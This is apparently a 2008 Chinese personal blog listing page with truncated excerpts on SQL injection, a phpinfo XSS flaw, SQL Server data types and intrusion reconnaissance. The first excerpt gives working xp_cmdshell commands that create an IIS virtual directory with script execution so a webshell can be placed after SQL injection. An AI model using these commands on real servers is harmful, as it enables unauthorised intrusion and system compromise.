*

我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：

exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虚拟目录win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
让win句有解析asp脚本权限

exec mast

阅读全文>>

类别：收集之行 | 评论(0) | 浏览()

phpinfo xss跨站脚本攻击漏洞

2008年06月30日星期一 02:51

说实在的PHP我并不怎么样,可以说是初学者吧

慢慢学习

说明：

php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数，许多站点和程序都会将-phpinfo放在自己的站点上或者在程序里显示，但是phpinfo里存在一些安全问题，导致精心构造数据就可以产生一个跨站脚本漏洞，可以被用来进行攻击。

漏洞成因：

phpinfo页面对输入的参数都做了详细的过滤，但是没有对输出的进行charset的指定

阅读全文>>

类别：收集之行 | 评论(0) | 浏览()

SQL Server中易混淆的数据类型

2008年06月30日星期一 02:50

最近帮朋友维护服务器和帮他的网站程序添加点防注入或是跨站漏洞之类的安全

所以没什么及时更新博客,最近还在为找暑假工烦恼呢

英雄末路啊//

(1)char、varchar、text和nchar、nvarchar、ntext
char和varchar的长度都在1到8000之间，它们的区别在于：
char：是定长字符数据，，速度快。
varchar：是变长字符数据,节省储存空间，但是存取速度慢。
所谓定长就是长度固定的，当输入的数据长度没有达到指定的长度时将自动以英文空格在其后面填充，使长度达到相应的长度；

阅读全文>>

类别：收集之行 | 评论(0) | 浏览()

详述入侵之渗透技术

2008年06月28日星期六 03:24

有了前一篇,发现也有不足的地方,在帖一篇

入侵渗透涉及许多知识和技术，并不是一些人用一两招就可以搞定的。
一，踩点
踩点可以了解目标主机和网络的一些基本的安全信息，主要有；
1，管理员联系信息，电话号，传真号；
2，IP地址范围；
3，DNS服务器；
4，邮件服务器。
相关搜索方法：
1，搜索网页。
确定目标信息1，为以后发动字典和木马入侵做准备；寻找网页源代码找注释和
隐藏域，寻找隐藏域中的"FORM"标记。例如：
<FORM action=/

阅读全文>>

类别：收集之行 | 评论(0) | 浏览()

渗透测试详细说明

2008年06月28日星期六 03:22

ZWELL大哥的,很好的一个人,华为高级工程师....是我佩服人之一

贴这个主要也是为给那刚接触这一'伟大'事业的人对这事业的了解

目录Author : ZwelL
零、前言

阅读全文>>

类别：收集之行 | 评论(0) | 浏览()

我回家了!!~~

2008年06月23日星期一 18:19

每天的疲劳让我的身体再也不没办法承受